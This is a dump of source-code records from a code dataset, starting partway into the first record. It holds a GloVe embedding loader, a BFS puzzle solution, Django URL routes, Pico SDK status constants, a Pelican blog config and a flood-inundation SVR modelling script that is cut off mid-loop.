globals import *\nimport numpy as np\nimport codecs\nimport os\n\n\nclass Embedder(object):\n\n numpy_extension = \".npy\"\n\n def __init__(self, glove_directory):\n self.glove_directory = glove_directory\n self.mapper = dict()\n self.build()\n\n @staticmethod\n def convert_to_float(vector):\n return [float(number) for number in vector]\n\n def build(self):\n self.populate_mapper()\n self.save()\n\n def populate_mapper(self):\n print(\"Populating dictionary\")\n with codecs.open(os.path.join(os.path.dirname(os.path.abspath(__file__)), self.glove_directory,\n os.listdir(os.path.join(os.path.dirname(os.path.abspath(__file__)),\n self.glove_directory))[0]), mode='r', encoding='utf-8') \\\n as file:\n truncated_dictionary = [next(file) for _ in range(dictionary_size)]\n for word_vec in truncated_dictionary:\n self.mapper[word_vec.strip().split()[0]] = \\\n np.asarray(self.convert_to_float(word_vec.strip().split()[1:]), dtype='float32')\n file.close()\n\n def save(self):\n print(\"Saving\")\n np.save(os.path.join(os.path.dirname(os.path.abspath(__file__)), embeddings_directory,\n embeddings_directory.lower() + self.numpy_extension), self.mapper)","sub_path":"Embedder.py","file_name":"Embedder.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"487797394","text":"'''\nBFS의 방문체크는 queue에서 pop할때 말고 이웃 탐색중 queue에 집어 넣을때에 해주는 것이 시간이 더 빠르다\n\n'''\n\n\nfrom collections import deque\nn = int(input())\na = [input() for _ in range(n)]\n\n\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\n\ndef connected(cur, next, blind):\n if cur == next:\n return True\n if blind:\n if cur == 'R' and next == 'G':\n return True\n elif cur == 'G' and next == 'R':\n return True\n\n return False\n\n\ndef go(blind,a):\n '''\n a[0][0]부터 bfs\n '''\n ans = 0\n visited = [[False]*n for _ in range(n)]\n for i in range(n):\n for j in range(n):\n if visited[i][j]:\n continue\n ans += 1\n q = deque()\n q.append((i,j))\n visited[i][j] = True\n while q:\n x, y = q.pop()\n for k in range(4):\n nx, ny = x + dx[k], y + dy[k]\n if 0 <= nx < n and 0 <= ny < n:\n if not visited[nx][ny] and connected(a[x][y], a[nx][ny], blind):\n visited[nx][ny] = True\n q.append((nx, ny))\n return ans\n\n\nprint(go(False, a),go(True, a))","sub_path":"BeakjoonOJ_Solved/Lecture_Beakjoon/BFS/10026MySol.py","file_name":"10026MySol.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"266146673","text":"from django.conf.urls import url\nfrom django.conf import settings\nfrom django.core.cache.backends.base import DEFAULT_TIMEOUT\nfrom django.views.decorators.cache import cache_page\nfrom django.views.decorators.vary import vary_on_cookie\nfrom articles import views as class_views\n\n\nCACHE_TTL = getattr(settings, 'CACHE_TTL', DEFAULT_TIMEOUT)\n\n\nurlpatterns = [\n url(r'^articles/(?P[-\\w.]+)/$', class_views.UserArticleListView.as_view(), name='user-articles'),\n\n url(r'^subscriptions/$', class_views.SubscriptionsArticleListView.as_view(), name='subscriptions-articles'),\n\n url(r'^drafts/$', class_views.DraftArticleListView.as_view(), name='drafts'),\n\n # cache favourite articles\n url(r'^favourite/$', cache_page(CACHE_TTL)(vary_on_cookie(class_views.FavouriteArticleListView.as_view())),\n name='favourite'),\n\n url(r'^sort/$', class_views.ArticleListView.as_view(), name='sort'),\n\n url(r'^search/$', class_views.ArticleFilterView.as_view(), name='search'),\n\n url(r'^category/(?P[-\\w]+)/$',\n cache_page(CACHE_TTL * 15)(vary_on_cookie(class_views.ArticleListView.as_view())),\n name='home-category'),\n\n url(r'^create/$', class_views.ArticleCreateView2.as_view(), name='create'),\n\n url(r'^update/(?P[-\\w]+)/$', class_views.ArticleUpdateView2.as_view(), name='update'),\n\n url(r'^delete/(?P[-\\w]+)/$', class_views.ArticleDeleteView.as_view(), name='delete'),\n\n url(r'^post/(?P[-\\w]+)/$', class_views.ArticleDetailView.as_view(), name='detail'),\n\n # cache main list view\n url(r'^$', cache_page(CACHE_TTL/6)(vary_on_cookie(class_views.ArticleListView.as_view())), name='home'),\n # url(r'^$', class_views.ArticleListView.as_view(), name='home'),\n\n]\n","sub_path":"articles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"356731593","text":"#\n# Copyright (C) 2014-2018 Pico Technology Ltd. See LICENSE file for terms.\n#\n\"\"\"\nDefines python-visible versions of preprocessor-macros from Pico SDK C header files.\nAll constants in this file are exposed directly on the Library class specific to each driver. That\n(rather than importing this file directly) is the supported way of accessing them, since some\nolder drivers have different names/values for some of the macros.\n\"\"\"\nfrom picosdk.errors import UnknownConstantError\n\n\n# convenience functions provided in the old python SDK:\ndef pico_tag(number):\n \"\"\"Get the macro name for a given PICO_STATUS value.\"\"\"\n try:\n return PICO_STATUS_LOOKUP[number]\n except KeyError:\n raise UnknownConstantError(\"%s is not a known PICO_STATUS value.\" % number)\n\n\ndef pico_num(tag):\n \"\"\"Resolve the numerical constant associated with a PICO_STATUS macro.\"\"\"\n try:\n return PICO_STATUS[tag]\n except KeyError:\n raise UnknownConstantError(\"%s is not a known PICO_STATUS macro.\" % tag)\n\n\ndef make_enum(members):\n \"\"\"All C enums with no specific values follow the pattern 0, 1, 2... in the order they are in source.\"\"\"\n enum = {}\n for i, member in enumerate(members):\n keys = [member]\n if isinstance(member, tuple):\n # this member has multiple names!\n keys = member\n for key in keys:\n enum[key] = i\n return enum\n\n\nPICO_STATUS = {\n \"PICO_OK\": 0x00000000,\n \"PICO_MAX_UNITS_OPENED\": 0x00000001,\n \"PICO_MEMORY_FAIL\": 0x00000002,\n \"PICO_NOT_FOUND\": 0x00000003,\n \"PICO_FW_FAIL\": 0x00000004,\n \"PICO_OPEN_OPERATION_IN_PROGRESS\": 0x00000005,\n \"PICO_OPERATION_FAILED\": 0x00000006,\n \"PICO_NOT_RESPONDING\": 0x00000007,\n \"PICO_CONFIG_FAIL\": 0x00000008,\n \"PICO_KERNEL_DRIVER_TOO_OLD\": 0x00000009,\n \"PICO_EEPROM_CORRUPT\": 0x0000000A,\n \"PICO_OS_NOT_SUPPORTED\": 0x0000000B,\n \"PICO_INVALID_HANDLE\": 0x0000000C,\n \"PICO_INVALID_PARAMETER\": 0x0000000D,\n \"PICO_INVALID_TIMEBASE\": 0x0000000E,\n \"PICO_INVALID_VOLTAGE_RANGE\": 0x0000000F,\n \"PICO_INVALID_CHANNEL\": 0x00000010,\n \"PICO_INVALID_TRIGGER_CHANNEL\": 0x00000011,\n \"PICO_INVALID_CONDITION_CHANNEL\": 0x00000012,\n \"PICO_NO_SIGNAL_GENERATOR\": 0x00000013,\n \"PICO_STREAMING_FAILED\": 0x00000014,\n \"PICO_BLOCK_MODE_FAILED\": 0x00000015,\n \"PICO_NULL_PARAMETER\": 0x00000016,\n \"PICO_ETS_MODE_SET\": 0x00000017,\n \"PICO_DATA_NOT_AVAILABLE\": 0x00000018,\n \"PICO_STRING_BUFFER_TO_SMALL\": 0x00000019,\n \"PICO_ETS_NOT_SUPPORTED\": 0x0000001A,\n \"PICO_AUTO_TRIGGER_TIME_TO_SHORT\": 0x0000001B,\n \"PICO_BUFFER_STALL\": 0x0000001C,\n \"PICO_TOO_MANY_SAMPLES\": 0x0000001D,\n \"PICO_TOO_MANY_SEGMENTS\": 0x0000001E,\n \"PICO_PULSE_WIDTH_QUALIFIER\": 0x0000001F,\n \"PICO_DELAY\": 0x00000020,\n \"PICO_SOURCE_DETAILS\": 0x00000021,\n \"PICO_CONDITIONS\": 0x00000022,\n \"PICO_USER_CALLBACK\": 0x00000023,\n \"PICO_DEVICE_SAMPLING\": 0x00000024,\n \"PICO_NO_SAMPLES_AVAILABLE\": 0x00000025,\n \"PICO_SEGMENT_OUT_OF_RANGE\": 0x00000026,\n \"PICO_BUSY\": 0x00000027,\n \"PICO_STARTINDEX_INVALID\": 0x00000028,\n \"PICO_INVALID_INFO\": 0x00000029,\n \"PICO_INFO_UNAVAILABLE\": 0x0000002A,\n \"PICO_INVALID_SAMPLE_INTERVAL\": 0x0000002B,\n \"PICO_TRIGGER_ERROR\": 0x0000002C,\n \"PICO_MEMORY\": 0x0000002D,\n \"PICO_SIG_GEN_PARAM\": 0x0000002E,\n \"PICO_SHOTS_SWEEPS_WARNING\": 0x0000002F,\n \"PICO_SIGGEN_TRIGGER_SOURCE\": 0x00000030,\n \"PICO_AUX_OUTPUT_CONFLICT\": 0x00000031,\n \"PICO_AUX_OUTPUT_ETS_CONFLICT\": 0x00000032,\n \"PICO_WARNING_EXT_THRESHOLD_CONFLICT\": 0x00000033,\n \"PICO_WARNING_AUX_OUTPUT_CONFLICT\": 0x00000034,\n \"PICO_SIGGEN_OUTPUT_OVER_VOLTAGE\": 0x00000035,\n \"PICO_DELAY_NULL\": 0x00000036,\n \"PICO_INVALID_BUFFER\": 0x00000037,\n \"PICO_SIGGEN_OFFSET_VOLTAGE\": 0x00000038,\n \"PICO_SIGGEN_PK_TO_PK\": 0x00000039,\n \"PICO_CANCELLED\": 0x0000003A,\n \"PICO_SEGMENT_NOT_USED\": 0x0000003B,\n \"PICO_INVALID_CALL\": 0x0000003C,\n \"PICO_GET_VALUES_INTERRUPTED\": 0x0000003D,\n \"PICO_NOT_USED\": 0x0000003F,\n \"PICO_INVALID_SAMPLERATIO\": 0x00000040,\n \"PICO_INVALID_STATE\": 0x00000041,\n \"PICO_NOT_ENOUGH_SEGMENTS\": 0x00000042,\n \"PICO_DRIVER_FUNCTION\": 0x00000043,\n \"PICO_RESERVED\": 0x00000044,\n \"PICO_INVALID_COUPLING\": 0x00000045,\n \"PICO_BUFFERS_NOT_SET\": 0x00000046,\n \"PICO_RATIO_MODE_NOT_SUPPORTED\": 0x00000047,\n \"PICO_RAPID_NOT_SUPPORT_AGGREGATION\": 0x00000048,\n \"PICO_INVALID_TRIGGER_PROPERTY\": 0x00000049,\n \"PICO_INTERFACE_NOT_CONNECTED\": 0x0000004A,\n \"PICO_RESISTANCE_AND_PROBE_NOT_ALLOWED\": 0x0000004B,\n \"PICO_POWER_FAILED\": 0x0000004C,\n \"PICO_SIGGEN_WAVEFORM_SETUP_FAILED\": 0x0000004D,\n \"PICO_FPGA_FAIL\": 0x0000004E,\n \"PICO_POWER_MANAGER\": 0x0000004F,\n \"PICO_INVALID_ANALOGUE_OFFSET\": 0x00000050,\n \"PICO_PLL_LOCK_FAILED\": 0x00000051,\n \"PICO_ANALOG_BOARD\": 0x00000052,\n \"PICO_CONFIG_FAIL_AWG\": 0x00000053,\n \"PICO_INITIALISE_FPGA\": 0x00000054,\n \"PICO_EXTERNAL_FREQUENCY_INVALID\": 0x00000056,\n \"PICO_CLOCK_CHANGE_ERROR\": 0x00000057,\n \"PICO_TRIGGER_AND_EXTERNAL_CLOCK_CLASH\": 0x00000058,\n \"PICO_PWQ_AND_EXTERNAL_CLOCK_CLASH\": 0x00000059,\n \"PICO_UNABLE_TO_OPEN_SCALING_FILE\": 0x0000005A,\n \"PICO_MEMORY_CLOCK_FREQUENCY\": 0x0000005B,\n \"PICO_I2C_NOT_RESPONDING\": 0x0000005C,\n \"PICO_NO_CAPTURES_AVAILABLE\": 0x0000005D,\n \"PICO_NOT_USED_IN_THIS_CAPTURE_MODE\": 0x0000005E,\n \"PICO_TOO_MANY_TRIGGER_CHANNELS_IN_USE\": 0x0000005F,\n \"PICO_INVALID_TRIGGER_DIRECTION\": 0x00000060,\n \"PICO_INVALID_TRIGGER_STATES\": 0x00000061,\n \"PICO_GET_DATA_ACTIVE\": 0x00000103,\n \"PICO_IP_NETWORKED\": 0x00000104,\n \"PICO_INVALID_IP_ADDRESS\": 0x00000105,\n \"PICO_IPSOCKET_FAILED\": 0x00000106,\n \"PICO_IPSOCKET_TIMEDOUT\": 0x00000107,\n \"PICO_SETTINGS_FAILED\": 0x00000108,\n \"PICO_NETWORK_FAILED\": 0x00000109,\n \"PICO_WS2_32_DLL_NOT_LOADED\": 0x0000010A,\n \"PICO_INVALID_IP_PORT\": 0x0000010B,\n \"PICO_COUPLING_NOT_SUPPORTED\": 0x0000010C,\n \"PICO_BANDWIDTH_NOT_SUPPORTED\": 0x0000010D,\n \"PICO_INVALID_BANDWIDTH\": 0x0000010E,\n \"PICO_AWG_NOT_SUPPORTED\": 0x0000010F,\n \"PICO_ETS_NOT_RUNNING\": 0x00000110,\n \"PICO_SIG_GEN_WHITENOISE_NOT_SUPPORTED\": 0x00000111,\n \"PICO_SIG_GEN_WAVETYPE_NOT_SUPPORTED\": 0x00000112,\n \"PICO_INVALID_DIGITAL_PORT\": 0x00000113,\n \"PICO_INVALID_DIGITAL_CHANNEL\": 0x00000114,\n \"PICO_INVALID_DIGITAL_TRIGGER_DIRECTION\": 0x00000115,\n \"PICO_SIG_GEN_PRBS_NOT_SUPPORTED\": 0x00000116,\n \"PICO_ETS_NOT_AVAILABLE_WITH_LOGIC_CHANNELS\": 0x00000117,\n \"PICO_WARNING_REPEAT_VALUE\": 0x00000118,\n \"PICO_POWER_SUPPLY_CONNECTED\": 0x00000119,\n \"PICO_POWER_SUPPLY_NOT_CONNECTED\": 0x0000011A,\n \"PICO_POWER_SUPPLY_REQUEST_INVALID\": 0x0000011B,\n \"PICO_POWER_SUPPLY_UNDERVOLTAGE\": 0x0000011C,\n \"PICO_CAPTURING_DATA\": 0x0000011D,\n \"PICO_USB3_0_DEVICE_NON_USB3_0_PORT\": 0x0000011E,\n \"PICO_NOT_SUPPORTED_BY_THIS_DEVICE\": 0x0000011F,\n \"PICO_INVALID_DEVICE_RESOLUTION\": 0x00000120,\n \"PICO_INVALID_NUMBER_CHANNELS_FOR_RESOLUTION\": 0x00000121,\n \"PICO_CHANNEL_DISABLED_DUE_TO_USB_POWERED\": 0x00000122,\n \"PICO_SIGGEN_DC_VOLTAGE_NOT_CONFIGURABLE\": 0x00000123,\n \"PICO_NO_TRIGGER_ENABLED_FOR_TRIGGER_IN_PRE_TRIG\": 0x00000124,\n \"PICO_TRIGGER_WITHIN_PRE_TRIG_NOT_ARMED\": 0x00000125,\n \"PICO_TRIGGER_WITHIN_PRE_NOT_ALLOWED_WITH_DELAY\": 0x00000126,\n \"PICO_TRIGGER_INDEX_UNAVAILABLE\": 0x00000127,\n \"PICO_AWG_CLOCK_FREQUENCY\": 0x00000128,\n \"PICO_TOO_MANY_CHANNELS_IN_USE\": 0x00000129,\n \"PICO_NULL_CONDITIONS\": 0x0000012A,\n \"PICO_DUPLICATE_CONDITION_SOURCE\": 0x0000012B,\n \"PICO_INVALID_CONDITION_INFO\": 0x0000012C,\n \"PICO_SETTINGS_READ_FAILED\": 0x0000012D,\n \"PICO_SETTINGS_WRITE_FAILED\": 0x0000012E,\n \"PICO_ARGUMENT_OUT_OF_RANGE\": 0x0000012F,\n \"PICO_HARDWARE_VERSION_NOT_SUPPORTED\": 0x00000130,\n \"PICO_DIGITAL_HARDWARE_VERSION_NOT_SUPPORTED\": 0x00000131,\n \"PICO_ANALOGUE_HARDWARE_VERSION_NOT_SUPPORTED\": 0x00000132,\n \"PICO_UNABLE_TO_CONVERT_TO_RESISTANCE\": 0x00000133,\n \"PICO_DUPLICATED_CHANNEL\": 0x00000134,\n \"PICO_INVALID_RESISTANCE_CONVERSION\": 0x00000135,\n \"PICO_INVALID_VALUE_IN_MAX_BUFFER\": 0x00000136,\n \"PICO_INVALID_VALUE_IN_MIN_BUFFER\": 0x00000137,\n \"PICO_SIGGEN_FREQUENCY_OUT_OF_RANGE\": 0x00000138,\n \"PICO_EEPROM2_CORRUPT\": 0x00000139,\n \"PICO_EEPROM2_FAIL\": 0x0000013A,\n \"PICO_SERIAL_BUFFER_TOO_SMALL\": 0x0000013B,\n \"PICO_SIGGEN_TRIGGER_AND_EXTERNAL_CLOCK_CLASH\": 0x0000013C,\n \"PICO_WARNING_SIGGEN_AUXIO_TRIGGER_DISABLED\": 0x0000013D,\n \"PICO_SIGGEN_GATING_AUXIO_NOT_AVAILABLE\": 0x00000013E,\n \"PICO_SIGGEN_GATING_AUXIO_ENABLED\": 0x00000013F,\n \"PICO_DEVICE_TIME_STAMP_RESET\": 0x01000000,\n \"PICO_WATCHDOGTIMER\": 0x10000000,\n \"PICO_IPP_NOT_FOUND\": 0x10000001,\n \"PICO_IPP_NO_FUNCTION\": 0x10000002,\n \"PICO_IPP_ERROR\": 0x10000003,\n \"PICO_SHADOW_CAL_NOT_AVAILABLE\": 0x10000004,\n \"PICO_SHADOW_CAL_DISABLED\": 0x10000005,\n \"PICO_SHADOW_CAL_ERROR\": 0x10000006,\n \"PICO_SHADOW_CAL_CORRUPT\": 0x10000007,\n}\n\nPICO_STATUS_LOOKUP = {v: k for k, v in PICO_STATUS.items()}\n\nPICO_INFO = {\n \"PICO_DRIVER_VERSION\": 0x00000000,\n \"PICO_USB_VERSION\": 0x00000001,\n \"PICO_HARDWARE_VERSION\": 0x00000002,\n \"PICO_VARIANT_INFO\": 0x00000003,\n \"PICO_BATCH_AND_SERIAL\": 0x00000004,\n \"PICO_CAL_DATE\": 0x00000005,\n \"PICO_KERNEL_VERSION\": 0x00000006,\n \"PICO_DIGITAL_HARDWARE_VERSION\": 0x00000007,\n \"PICO_ANALOGUE_HARDWARE_VERSION\": 0x00000008,\n \"PICO_FIRMWARE_VERSION_1\": 0x00000009,\n \"PICO_FIRMWARE_VERSION_2\": 0x0000000A,\n \"PICO_MAC_ADDRESS\": 0x0000000B,\n \"PICO_SHADOW_CAL\": 0x0000000C,\n \"PICO_IPP_VERSION\": 0x0000000D,\n}\n","sub_path":"picosdk/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":9585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"291990012","text":"import sys\nsys.path.append('..')\nfrom get_input import get_input_by_lines\n\nimport numpy as np\nfrom classes import Map\n\n\ndef main():\n ex19_0 = get_input_by_lines(19, strip=False)\n ex19 = np.array(list(map(list, ex19_0)))\n\n map19 = Map(ex19)\n map19.set_pos(map19.find_start())\n\n finished = False\n cnt = 0\n while not finished:\n finished = map19.step()\n if not finished:\n cnt += 1\n\n print(cnt)\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"day19/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"189460183","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\n# This file is only used if you use `make publish` or\n# explicitly specify it as your config file.\n\nAUTHOR = u'Adrian'\nSITENAME = u\"背着笔记本流浪\"\n\nGITHUB_URL = 'https://github.com/pengqun'\nARCHIVES_URL = 'archives.html'\n#ARTICLE_URL = 'posts/{date:%Y}/{date:%m}/{date:%d}/{slug}'\n#ARTICLE_SAVE_AS = 'posts/{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\nARTICLE_URL = 'posts/{slug}'\nARTICLE_SAVE_AS = 'posts/{slug}.html'\n\n# Uncomment following line if you want document-relative URLs when developing\nRELATIVE_URLS = True\n\nTHEME = '../pelican-themes/tuxlite_tbs'\n\nDEFAULT_PAGINATION = False\nDEFAULT_PAGINATION = 5\n\nTIMEZONE = 'Asia/Shanghai'\nDEFAULT_LANG = u'zh'\nDEFAULT_DATE_FORMAT = u'%Y年%m月%d日'\n\nDEFAULT_CATEGORY = 'Misc'\n\n#PYGMENTS_RST_OPTIONS = {'linenos': 'none'}\nMD_EXTENSIONS = ['fenced_code', 'codehilite(css_class=highlight,linenums=False)', 'extra', 'toc']\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\nLINKS = (('Pelican', 'http://getpelican.com/'),\n ('Python.org', 'http://python.org/')\n )\n\n# Social widget\nSOCIAL = (('Github', 'https://github.com/pengqun'),\n )\n\nPLUGIN_PATH = u\"../pelican-plugins\"\nPLUGINS = [\"sitemap\"]\nSITEMAP = {\n \"format\": \"xml\",\n \"priorities\": {\n \"articles\": 0.7,\n \"indexes\": 0.5,\n \"pages\": 0.3,\n },\n \"changefreqs\": {\n \"articles\": \"monthly\",\n \"indexes\": \"daily\",\n \"pages\": \"monthly\",\n }\n }\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"175709691","text":"#%%\n\n# check scikit-learn version\nimport sklearn\nprint(sklearn.__version__)\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nimport timeit\n\n# %%\n#prepare target data\n\n\ndef Target_Data_Cal(locations):\n import geopandas as gpd\n import pandas as pd\n import rasterio as rio \n '''\n This function is to generate target data\n at validation points used for SVM calibration\n purposes.\n '''\n\n\n # Read points from shapefile\n pts = gpd.read_file(locations)\n pts = pts[['X', 'Y', 'Descriptio','geometry']]\n pts.index = range(len(pts))\n coords = [(x,y) for x, y in zip(pts.X, pts.Y)]\n\n\n\n ## Train target generation\n Target = '/home/cvssk/Carlisle/Target/'\n inun_files2 = []\n\n ##PROCESS TARGET DATA (Y_PARAM)\n inun_files2 += [each for each in os.listdir(Target) if each.endswith('.wd')]\n inun_files2.sort()\n\n ls = ['Run2-0000.wd', 'Run2-0001.wd', 'Run2-0002.wd', 'Run2-0003.wd', 'Run2-0004.wd', 'Run2-0005.wd', 'Run2-0006.wd', 'Run2-0007.wd',\n 'Run3-0000.wd', 'Run3-0001.wd', 'Run3-0002.wd', 'Run3-0003.wd', 'Run3-0004.wd', 'Run3-0005.wd', 'Run3-0006.wd', 'Run3-0007.wd',\n 'Run4-0000.wd', 'Run4-0001.wd', 'Run4-0002.wd', 'Run4-0003.wd', 'Run4-0004.wd', 'Run4-0005.wd', 'Run4-0006.wd', 'Run4-0007.wd',\n 'Run5-0000.wd', 'Run5-0001.wd', 'Run5-0002.wd', 'Run5-0003.wd', 'Run5-0004.wd', 'Run5-0005.wd', 'Run5-0006.wd', 'Run5-0007.wd',\n 'Run6-0000.wd', 'Run6-0001.wd', 'Run6-0002.wd', 'Run6-0003.wd', 'Run6-0004.wd', 'Run6-0005.wd', 'Run6-0006.wd', 'Run6-0007.wd']\n\n for i in ls:\n inun_files2.remove(i)\n\n for i in range(len(inun_files2)):\n src = rio.open(Target+inun_files2[i])\n # Sample the raster at every point location and store values in DataFrame\n pts['Raster Value'+'_step_{}'.format(i+8)] = [x[0] for x in src.sample(coords)]\n\n df = pd.DataFrame(pts)\n\n ##output dir\n\n d = '/home/cvssk/Carlisle/SVM_Model/'\n df.to_csv(d+'Y_Train'+'.csv')\n\n directory1 = '/home/cvssk/Carlisle/Run1/' #(dIRECTORY OF TEST DATA)\n inun_files = []\n\n inun_files += [each for each in os.listdir(directory1) if each.endswith('.wd')]\n inun_files.sort()\n\n\n l = ['Run1-0000.wd', 'Run1-0001.wd', 'Run1-0002.wd', 'Run1-0003.wd', 'Run1-0004.wd', 'Run1-0005.wd', 'Run1-0006.wd', 'Run1-0007.wd']\n\n for i in l:\n inun_files.remove(i)\n\n\n for i in range(len(inun_files)):\n src = rio.open(directory1+inun_files[i])\n # Sample the raster at every point location and store values in DataFrame\n pts['Raster Value'+'_step_{}'.format(i+8)] = [x[0] for x in src.sample(coords)]\n\n df = pd.DataFrame(pts)\n\n ##output dir\n\n d = '/home/cvssk/Carlisle/SVM_Model/'\n df.to_csv(d+'Y_Test.csv')\n\ndef Gen_X_param():\n import pandas as pd\n import numpy as np\n import os\n from sklearn.preprocessing import MinMaxScaler\n ####Import Precipitation/Discharge Data\n data_dir = '/home/cvssk/Carlisle/Flows/'\n\n data =[]\n data += [file for file in os.listdir(data_dir) if file.endswith('.csv')]\n\n data.sort()\n print('Flow data files:',data)\n\n appended_data = []\n\n for f in data:\n df = pd.read_csv(data_dir+f)\n ##Shift the x parameter values back to represent antacedent hydrometeorological values, i.e. t-1, t-2, t-3 etc\n df['Upstream1-1'] = df['Upstream1'].shift(1)\n df['Upstream1-2'] = df['Upstream1'].shift(2)\n df['Upstream1-3'] = df['Upstream1'].shift(3)\n df['Upstream1-4'] = df['Upstream1'].shift(4)\n df['Upstream1-5'] = df['Upstream1'].shift(5)\n df['Upstream1-6'] = df['Upstream1'].shift(6)\n df['Upstream1-7'] = df['Upstream1'].shift(7)\n df['Upstream1-8'] = df['Upstream1'].shift(8)\n\n df['Upstream2-1'] = df['Upstream2'].shift(1)\n df['Upstream2-2'] = df['Upstream2'].shift(2)\n df['Upstream2-3'] = df['Upstream2'].shift(3)\n df['Upstream2-4'] = df['Upstream2'].shift(4)\n df['Upstream2-5'] = df['Upstream2'].shift(5)\n df['Upstream2-6'] = df['Upstream2'].shift(6)\n df['Upstream2-7'] = df['Upstream2'].shift(7)\n df['Upstream2-8'] = df['Upstream2'].shift(8) \n\n df['Upstream3-1'] = df['Upstream3'].shift(1)\n df['Upstream3-2'] = df['Upstream3'].shift(2)\n df['Upstream3-3'] = df['Upstream3'].shift(3)\n df['Upstream3-4'] = df['Upstream3'].shift(4)\n df['Upstream3-5'] = df['Upstream3'].shift(5)\n df['Upstream3-6'] = df['Upstream3'].shift(6)\n df['Upstream3-7'] = df['Upstream3'].shift(7)\n df['Upstream3-8'] = df['Upstream3'].shift(8)\n \n df = df.dropna()\n \n appended_data.append(df)\n\n appended_data = pd.concat(appended_data,ignore_index=True)\n\n #appended_data.to_csv('/home/cvssk/Carlisle/Flows/Train/appended.csv')\n\n ############Prepare test X_Param\n\n ####Import Precipitation-Discharge Data\n df = pd.read_csv('/home/cvssk/Carlisle/Flows/Test/Upstream_Flows_Run1.csv')\n\n\n ##Shift the x parameter values back to represent antacedent hydrometeorological values, i.e. t-1, t-2, t-3 etc\n df['Upstream1-1'] = df['Upstream1'].shift(1)\n df['Upstream1-2'] = df['Upstream1'].shift(2)\n df['Upstream1-3'] = df['Upstream1'].shift(3)\n df['Upstream1-4'] = df['Upstream1'].shift(4)\n df['Upstream1-5'] = df['Upstream1'].shift(5)\n df['Upstream1-6'] = df['Upstream1'].shift(6)\n df['Upstream1-7'] = df['Upstream1'].shift(7)\n df['Upstream1-8'] = df['Upstream1'].shift(8)\n\n df['Upstream2-1'] = df['Upstream2'].shift(1)\n df['Upstream2-2'] = df['Upstream2'].shift(2)\n df['Upstream2-3'] = df['Upstream2'].shift(3)\n df['Upstream2-4'] = df['Upstream2'].shift(4)\n df['Upstream2-5'] = df['Upstream2'].shift(5)\n df['Upstream2-6'] = df['Upstream2'].shift(6)\n df['Upstream2-7'] = df['Upstream2'].shift(7)\n df['Upstream2-8'] = df['Upstream2'].shift(8)\n\n df['Upstream3-1'] = df['Upstream3'].shift(1)\n df['Upstream3-2'] = df['Upstream3'].shift(2)\n df['Upstream3-3'] = df['Upstream3'].shift(3)\n df['Upstream3-4'] = df['Upstream3'].shift(4)\n df['Upstream3-5'] = df['Upstream3'].shift(5)\n df['Upstream3-6'] = df['Upstream3'].shift(6)\n df['Upstream3-7'] = df['Upstream3'].shift(7)\n df['Upstream3-8'] = df['Upstream3'].shift(8)\n \n df = df.dropna()\n\n all_data = pd.concat([appended_data, df],ignore_index=True)\n\n print('Length of the data:',len(all_data))\n\n all_data.to_csv('/home/cvssk/Carlisle/Flows/Train/All_data.csv')\n\n scaler = MinMaxScaler(feature_range=(0, 1))\n all_data = scaler.fit_transform(all_data)\n\n X_Train = all_data[0:1243, :]\n X_Test = all_data[1243:, :]\n\n return X_Train, X_Test\n\n#%%\n#generate X and Target variables\n\n#X_Train, X_Test = Gen_X_param()\n\nX_Train = pd.read_csv('/home/cvssk/Carlisle/RapidCNN_Inun/Data/X_Train.csv', header=None)\nX_Test = pd.read_csv('/home/cvssk/Carlisle/RapidCNN_Inun/Data/X_Test.csv', header=None)\n\n\n# %%\n\n# %%\n\n#locations of the ground points\n\n#locations = '/home/cvssk/Carlisle/Validation_locations/validation_locations.shp'\n\n#Target_Data_Cal(locations)\n\n\n# %%\nimport pandas as pd \nTarget = pd.read_csv('/home/cvssk/Carlisle/RapidCNN_Inun/Data/Y_Train_SVR.csv')\n\n# %%\nTarget.head()\n\n# %%\nimport numpy as np \ncol_names = np.array(Target['Descriptio'])\n\n# %%\n\nY = Target.iloc[:,5:]\nY = Y.T\nY.columns = col_names\n\n\n# %%\nY[Y<0.2] = 0\n\n# %%\n##Y test data\n\nY_Test = pd.read_csv('/home/cvssk/Carlisle/RapidCNN_Inun/Data/Y_Test_SVR.csv')\nY_Test.head()\n\nY_Test = Y_Test.iloc[:,5:]\nY_Test = Y_Test.T\nY_Test.columns = col_names\n\nY_Test[Y_Test<0.2] = 0\n\nval_pts = [0,1,2,6,7,8,9,12,13,15,16,19,23,25,26,27,28,29]\n\n# %%\nfrom hyperopt import tpe\nfrom hpsklearn import HyperoptEstimator,svr_rbf\n\nestim = HyperoptEstimator(regressor=svr_rbf('my_rgr'),\n preprocessing=[],\n algo=tpe.suggest,\n max_evals=10,\n trial_timeout=300)\n\n# Search the hyperparameter space based on the data\n\nmodels=[]\nfor i in val_pts:\n estim.fit(X_Train, Y.iloc[:,i])\n\n # Show the results\n\n print(estim.score(X_Test, Y_Test.iloc[:,i]))\n\n print(estim.best_model())\n best_mod = estim.best_model()\n models.append(best_mod)\n\n\n#%%\nscores = []\nfor i in range(len(val_pts)):\n svr = models[i]['learners']\n\n acc_score = []\n\n for j in val_pts:\n model = svr.fit(X_Train, Y.iloc[:,j])\n y_pred = model.predict(X_Test)\n acc = round(y_pred, 3)\n 